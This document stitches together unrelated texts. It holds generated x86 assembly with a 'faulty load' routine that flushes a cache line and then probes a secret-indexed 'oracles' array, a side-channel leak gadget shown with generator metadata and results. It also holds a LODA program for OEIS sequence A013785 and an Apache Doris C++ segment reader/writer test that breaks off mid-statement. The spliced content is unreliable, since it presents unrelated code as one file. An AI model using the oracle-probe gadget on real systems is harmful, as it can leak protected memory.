(running_nodes) )
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rax push %rdx push %rsi lea addresses_WT_ht+0x140f2, %r11 nop nop nop nop nop cmp %rsi, %rsi movups (%r11), %xmm3 vpextrq $1, %xmm3, %rax nop nop nop cmp $20188, %rax lea addresses_WT_ht+0x1a63a, %r8 nop and %r11, %r11 movb (%r8), %al nop nop xor %rax, %rax lea addresses_normal_ht+0x48ca, %r14 add %rsi, %rsi movb (%r14), %dl nop nop cmp $30225, %rax lea addresses_UC_ht+0x19a5a, %r11 nop nop xor $43550, %rax mov $0x6162636465666768, %r14 movq %r14, %xmm0 movups %xmm0, (%r11) dec %rax pop %rsi pop %rdx pop %rax pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rax push %rbp push %rbx push %rdx // Load lea addresses_PSE+0x15882, %r10 nop sub %r15, %r15 mov (%r10), %bp nop nop nop nop sub %r15, %r15 // Store lea addresses_RW+0x8552, %r8 nop sub %rdx, %rdx movb $0x51, (%r8) nop nop nop nop dec %r8 // Faulty Load lea addresses_US+0xbe3a, %rbx clflush (%rbx) add %r10, %r10 mov (%rbx), %ebp lea oracles, %rax and $0xff, %rbp shlq $12, %rbp mov (%rax,%rbp,1), %rbp pop %rdx pop %rbx pop %rbp pop %rax pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A013785: a(n) = 6^(4n+3). ; 216,279936,362797056,470184984576,609359740010496,789730223053602816,1023490369077469249536,1326443518324400147398656,1719070799748422591028658176,2227915756473955677973140996096,2887378820390246558653190730940416,3742042951225759540014535187298779136,4849687664788584363858837602739217760256,6285195213566005335561053533150026217291776,8145612996781542914887125378962433977610141696,10556714443828879617693714491135314434982743638016,13681501919202227984531053980511367507737635754868736 mul $0,4 add $0,3 mov $1,6 pow $1,$0 mov $0,$1
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include "olap/rowset/segment_v2/segment.h" #include "olap/rowset/segment_v2/segment_writer.h" #include "olap/rowset/segment_v2/segment_iterator.h" #include <gtest/gtest.h> #include <iostream> #include <boost/filesystem.hpp> #include "common/logging.h" #include "olap/comparison_predicate.h" #include "olap/in_list_predicate.h" #include "olap/olap_common.h" #include "olap/row_cursor.h" #include "olap/tablet_schema.h" #include "olap/row_block.h" #include "olap/row_block2.h" #include "olap/types.h" #include "olap/tablet_schema_helper.h" #include "util/file_utils.h" #include "runtime/mem_pool.h" #include "runtime/mem_tracker.h" namespace doris { namespace segment_v2 { class SegmentReaderWriterTest : public testing::Test { public: SegmentReaderWriterTest() { } virtual ~SegmentReaderWriterTest() { } }; TEST_F(SegmentReaderWriterTest, normal) { size_t num_rows_per_block = 10; std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 3; tablet_schema->_num_short_key_columns = 2; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_int_key(1)); tablet_schema->_cols.push_back(create_int_key(2)); tablet_schema->_cols.push_back(create_int_key(3)); tablet_schema->_cols.push_back(create_int_value(4)); // segment write std::string dname = "./ut_dir/segment_test"; FileUtils::create_dir(dname); SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; std::string fname = dname + "/int_case"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 for (int i = 0; i < 4096; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = i * 10 + j; } writer.append_row(row); } uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); // reader { std::shared_ptr<Segment> segment; st = Segment::open(fname, 0, tablet_schema.get(), &segment); LOG(INFO) << "segment open, msg=" << st.to_string(); ASSERT_TRUE(st.ok()); ASSERT_EQ(4096, segment->num_rows()); Schema schema(*tablet_schema); OlapReaderStatistics stats; // scan all rows { StorageReadOptions read_opts; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); int left = 4096; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); ASSERT_EQ(rows_read, block.num_rows()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); ASSERT_EQ(rid * 10 + cid, *(int*)column_block.cell_ptr(i)); } } rowid += rows_read; } } // test seek, key { // lower bound std::unique_ptr<RowCursor> lower_bound(new RowCursor()); lower_bound->init(*tablet_schema, 2); { auto cell = lower_bound->cell(0); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = 100; } { auto cell = lower_bound->cell(1); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = 100; } // upper bound std::unique_ptr<RowCursor> upper_bound(new RowCursor()); upper_bound->init(*tablet_schema, 1); { auto cell = upper_bound->cell(0); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = 200; } StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.key_ranges.emplace_back(lower_bound.get(), false, upper_bound.get(), true); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 100); st = iter->next_batch(&block); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); ASSERT_TRUE(st.ok()); ASSERT_EQ(11, block.num_rows()); auto column_block = block.column_block(0); for (int i = 0; i < 11; ++i) { ASSERT_EQ(100 + i * 10, *(int*)column_block.cell_ptr(i)); } } // test seek, key { // lower bound std::unique_ptr<RowCursor> lower_bound(new RowCursor()); lower_bound->init(*tablet_schema, 1); { auto cell = lower_bound->cell(0); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = 40970; } StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.key_ranges.emplace_back(lower_bound.get(), false, nullptr, false); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 100); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // test seek, key (-2, -1) { // lower bound std::unique_ptr<RowCursor> lower_bound(new RowCursor()); lower_bound->init(*tablet_schema, 1); { auto cell = lower_bound->cell(0); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = -2; } std::unique_ptr<RowCursor> upper_bound(new RowCursor()); upper_bound->init(*tablet_schema, 1); { auto cell = upper_bound->cell(0); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = -1; } StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.key_ranges.emplace_back(lower_bound.get(), false, upper_bound.get(), false); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 100); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } } FileUtils::remove_all(dname); } TEST_F(SegmentReaderWriterTest, TestIndex) { size_t num_rows_per_block = 10; std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 3; tablet_schema->_num_short_key_columns = 2; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_int_key(1)); tablet_schema->_cols.push_back(create_int_key(2, true, true)); tablet_schema->_cols.push_back(create_int_key(3)); tablet_schema->_cols.push_back(create_int_value(4)); // segment write std::string dname = "./ut_dir/segment_test"; FileUtils::create_dir(dname); SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; std::string fname = dname + "/int_case2"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 // // 64k int will generate 4 pages for (int i = 0; i < 64 * 1024; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); if (i >= 16 * 1024 && i < 32 * 1024) { // make second page all rows equal *(int*)cell.mutable_cell_ptr() = 164000 + j; } else { *(int*)cell.mutable_cell_ptr() = i * 10 + j; } } writer.append_row(row); } uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); // reader with condition { std::shared_ptr<Segment> segment; st = Segment::open(fname, 0, tablet_schema.get(), &segment); ASSERT_TRUE(st.ok()); ASSERT_EQ(64 * 1024, segment->num_rows()); Schema schema(*tablet_schema); OlapReaderStatistics stats; // test empty segment iterator { // the first two page will be read by this condition TCondition condition; condition.__set_column_name("3"); condition.__set_condition_op("<"); std::vector<std::string> vals = {"2"}; condition.__set_condition_values(vals); std::shared_ptr<Conditions> conditions(new Conditions()); conditions->set_tablet_schema(tablet_schema.get()); conditions->append_condition(condition); StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.conditions = conditions.get(); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // scan all rows { TCondition condition; condition.__set_column_name("2"); condition.__set_condition_op("<"); std::vector<std::string> vals = {"100"}; condition.__set_condition_values(vals); std::shared_ptr<Conditions> conditions(new Conditions()); conditions->set_tablet_schema(tablet_schema.get()); conditions->append_condition(condition); StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.conditions = conditions.get(); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); // only first page will be read because of zone map int left = 16 * 1024; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); ASSERT_EQ(rows_read, block.num_rows()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); ASSERT_EQ(rid * 10 + cid, *(int*)column_block.cell_ptr(i)) << "rid:" << rid << ", i:" << i; } } rowid += rows_read; } ASSERT_EQ(16 * 1024, rowid); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // test zone map with query predicate an delete predicate { // the first two page will be read by this condition TCondition condition; condition.__set_column_name("2"); condition.__set_condition_op("<"); std::vector<std::string> vals = {"165000"}; condition.__set_condition_values(vals); std::shared_ptr<Conditions> conditions(new Conditions()); conditions->set_tablet_schema(tablet_schema.get()); conditions->append_condition(condition); // the second page read will be pruned by the following delete predicate TCondition delete_condition; delete_condition.__set_column_name("2"); delete_condition.__set_condition_op("="); std::vector<std::string> vals2 = {"164001"}; delete_condition.__set_condition_values(vals2); std::shared_ptr<Conditions> delete_conditions(new Conditions()); delete_conditions->set_tablet_schema(tablet_schema.get()); delete_conditions->append_condition(delete_condition); StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.conditions = conditions.get(); read_opts.delete_conditions.push_back(delete_conditions.get()); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); // so the first page will be read because of zone map int left = 16 * 1024; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(rows_read, block.num_rows()); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); ASSERT_EQ(rid * 10 + cid, *(int*)column_block.cell_ptr(i)) << "rid:" << rid << ", i:" << i; } } rowid += rows_read; } ASSERT_EQ(16 * 1024, rowid); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // test bloom filter { StorageReadOptions read_opts; read_opts.stats = &stats; TCondition condition; condition.__set_column_name("2"); condition.__set_condition_op("="); // 102 is not in page 1 std::vector<std::string> vals = {"102"}; condition.__set_condition_values(vals); std::shared_ptr<Conditions> conditions(new Conditions()); conditions->set_tablet_schema(tablet_schema.get()); conditions->append_condition(condition); read_opts.conditions = conditions.get(); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()) << "status:" << st.to_string(); ASSERT_EQ(0, block.num_rows()); } } FileUtils::remove_all(dname); } TEST_F(SegmentReaderWriterTest, estimate_segment_size) { size_t num_rows_per_block = 10; std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 3; tablet_schema->_num_short_key_columns = 2; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_int_key(1)); tablet_schema->_cols.push_back(create_int_key(2)); tablet_schema->_cols.push_back(create_int_key(3)); tablet_schema->_cols.push_back(create_int_value(4)); // segment write std::string dname = "./ut_dir/segment_write_size"; FileUtils::create_dir(dname); SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; std::string fname = dname + "/int_case"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 for (int i = 0; i < 1048576; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = i * 10 + j; } writer.append_row(row); } uint32_t segment_size = writer.estimate_segment_size(); LOG(INFO) << "estimate segment size is:" << segment_size; uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); file_size = boost::filesystem::file_size(fname); LOG(INFO) << "segment file size is:" << file_size; ASSERT_NE(segment_size, 0); FileUtils::remove_all(dname); } TEST_F(SegmentReaderWriterTest, TestDefaultValueColumn) { size_t num_rows_per_block = 10; std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 3; tablet_schema->_num_short_key_columns = 2; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_int_key(1)); tablet_schema->_cols.push_back(create_int_key(2)); tablet_schema->_cols.push_back(create_int_key(3)); tablet_schema->_cols.push_back(create_int_value(4)); // segment write std::string dname = "./ut_dir/segment_test"; FileUtils::create_dir(dname); SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; std::string fname = dname + "/int_case"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 for (int i = 0; i < 4096; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = i * 10 + j; } writer.append_row(row); } uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); // add a column with null default value { std::shared_ptr<TabletSchema> new_tablet_schema_1(new TabletSchema()); new_tablet_schema_1->_num_columns = 5; new_tablet_schema_1->_num_key_columns = 3; new_tablet_schema_1->_num_short_key_columns = 2; new_tablet_schema_1->_num_rows_per_row_block = num_rows_per_block; new_tablet_schema_1->_cols.push_back(create_int_key(1)); new_tablet_schema_1->_cols.push_back(create_int_key(2)); new_tablet_schema_1->_cols.push_back(create_int_key(3)); new_tablet_schema_1->_cols.push_back(create_int_value(4)); new_tablet_schema_1->_cols.push_back( create_int_value(5, OLAP_FIELD_AGGREGATION_SUM, true, "NULL")); std::shared_ptr<Segment> segment; st = Segment::open(fname, 0, new_tablet_schema_1.get(), &segment); ASSERT_TRUE(st.ok()); ASSERT_EQ(4096, segment->num_rows()); Schema schema(*new_tablet_schema_1); OlapReaderStatistics stats; // scan all rows { StorageReadOptions read_opts; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); int left = 4096; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); ASSERT_EQ(rows_read, block.num_rows()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; if (cid == 4) { ASSERT_TRUE(BitmapTest(column_block.null_bitmap(), i)); } else { ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); ASSERT_EQ(rid * 10 + cid, *(int*)column_block.cell_ptr(i)); } } } rowid += rows_read; } } } // add a column with non-null default value { std::shared_ptr<TabletSchema> new_tablet_schema_1(new TabletSchema()); new_tablet_schema_1->_num_columns = 5; new_tablet_schema_1->_num_key_columns = 3; new_tablet_schema_1->_num_short_key_columns = 2; new_tablet_schema_1->_num_rows_per_row_block = num_rows_per_block; new_tablet_schema_1->_cols.push_back(create_int_key(1)); new_tablet_schema_1->_cols.push_back(create_int_key(2)); new_tablet_schema_1->_cols.push_back(create_int_key(3)); new_tablet_schema_1->_cols.push_back(create_int_value(4)); new_tablet_schema_1->_cols.push_back(create_int_value(5, OLAP_FIELD_AGGREGATION_SUM, true, "10086")); std::shared_ptr<Segment> segment; st = Segment::open(fname, 0, new_tablet_schema_1.get(), &segment); ASSERT_TRUE(st.ok()); ASSERT_EQ(4096, segment->num_rows()); Schema schema(*new_tablet_schema_1); OlapReaderStatistics stats; // scan all rows { StorageReadOptions read_opts; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); int left = 4096; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(rows_read, block.num_rows()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; if (cid == 4) { ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); ASSERT_EQ(10086, *(int*)column_block.cell_ptr(i)); } else { ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); ASSERT_EQ(rid * 10 + cid, *(int*)column_block.cell_ptr(i)); } } } rowid += rows_read; } } } } TEST_F(SegmentReaderWriterTest, TestStringDict) { size_t num_rows_per_block = 10; MemTracker tracker; MemPool pool(&tracker); std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 3; tablet_schema->_num_short_key_columns = 2; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_char_key(1)); tablet_schema->_cols.push_back(create_char_key(2)); tablet_schema->_cols.push_back(create_varchar_key(3)); tablet_schema->_cols.push_back(create_varchar_key(4)); // segment write std::string dname = "./ut_dir/segment_test"; FileUtils::create_dir(dname); SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; std::string fname = dname + "/string_case"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 // convert int to string for (int i = 0; i < 4096; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); set_column_value_by_type(tablet_schema->_cols[j]._type, i * 10 + j, (char*)cell.mutable_cell_ptr(), &pool, tablet_schema->_cols[j]._length); } Status status = writer.append_row(row); ASSERT_TRUE(status.ok()); } uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); { std::shared_ptr<Segment> segment; st = Segment::open(fname, 0, tablet_schema.get(), &segment); ASSERT_TRUE(st.ok()); ASSERT_EQ(4096, segment->num_rows()); Schema schema(*tablet_schema); OlapReaderStatistics stats; // scan all rows { StorageReadOptions read_opts; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); int left = 4096; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); ASSERT_EQ(rows_read, block.num_rows()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); const Slice* actual = reinterpret_cast<const Slice*>(column_block.cell_ptr(i)); Slice expect; set_column_value_by_type(tablet_schema->_cols[j]._type, rid * 10 + cid, reinterpret_cast<char*>(&expect), &pool, tablet_schema->_cols[j]._length); ASSERT_EQ(expect.to_string(), actual->to_string()); } } rowid += rows_read; } } // test seek, key { // lower bound std::unique_ptr<RowCursor> lower_bound(new RowCursor()); lower_bound->init(*tablet_schema, 1); { auto cell = lower_bound->cell(0); cell.set_not_null(); set_column_value_by_type(OLAP_FIELD_TYPE_CHAR, 40970, (char*)cell.mutable_cell_ptr(), &pool, tablet_schema->_cols[0]._length); } StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.key_ranges.emplace_back(lower_bound.get(), false, nullptr, false); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 100); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // test seek, key (-2, -1) { // lower bound std::unique_ptr<RowCursor> lower_bound(new RowCursor()); lower_bound->init(*tablet_schema, 1); { auto cell = lower_bound->cell(0); cell.set_not_null(); set_column_value_by_type(OLAP_FIELD_TYPE_CHAR, -2, (char*)cell.mutable_cell_ptr(), &pool, tablet_schema->_cols[0]._length); } std::unique_ptr<RowCursor> upper_bound(new RowCursor()); upper_bound->init(*tablet_schema, 1); { auto cell = upper_bound->cell(0); cell.set_not_null(); set_column_value_by_type(OLAP_FIELD_TYPE_CHAR, -1, (char*)cell.mutable_cell_ptr(), &pool, tablet_schema->_cols[0]._length); } StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.key_ranges.emplace_back(lower_bound.get(), false, upper_bound.get(), false); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 100); st = iter->next_batch(&block); 